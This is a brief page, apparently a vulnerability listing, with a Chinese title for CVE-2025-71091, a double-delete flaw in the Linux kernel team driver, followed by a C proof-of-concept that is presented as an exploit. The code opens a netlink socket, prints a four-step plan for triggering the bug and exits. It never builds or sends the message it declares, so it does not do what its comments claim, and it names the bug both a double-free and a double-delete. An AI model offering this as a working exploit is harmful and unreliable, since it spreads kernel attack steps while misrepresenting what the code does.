CVE-2025-71091: Linux内核team驱动队列优先级变更双重删除漏洞

/* PoC for CVE-2025-71091 * Linux kernel team driver double-free in team_queue_override_port_prio_changed * This PoC demonstrates triggering the vulnerability through team interface manipulation */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <net/if.h> #include <linux/if_team.h> #define TEAM_NAME "team0" #define PORT_NAME "eth0" int main() { int sock_fd; struct ifreq ifr; struct nlmsghdr *nlh; struct rtattr *rta; printf("CVE-2025-71091 PoC\n"); printf("Triggering double-delete in team_queue_override_port_prio_changed\n"); // Create netlink socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sock_fd < 0) { perror("socket"); return 1; } // Setup netlink message to change port priority // This triggers the vulnerable code path printf("Exploit steps:\n"); printf("1. Create team interface\n"); printf("2. Add port to team\n"); printf("3. Disable port (triggers list_del)\n"); printf("4. Change priority (triggers double-delete)\n"); close(sock_fd); return 0; }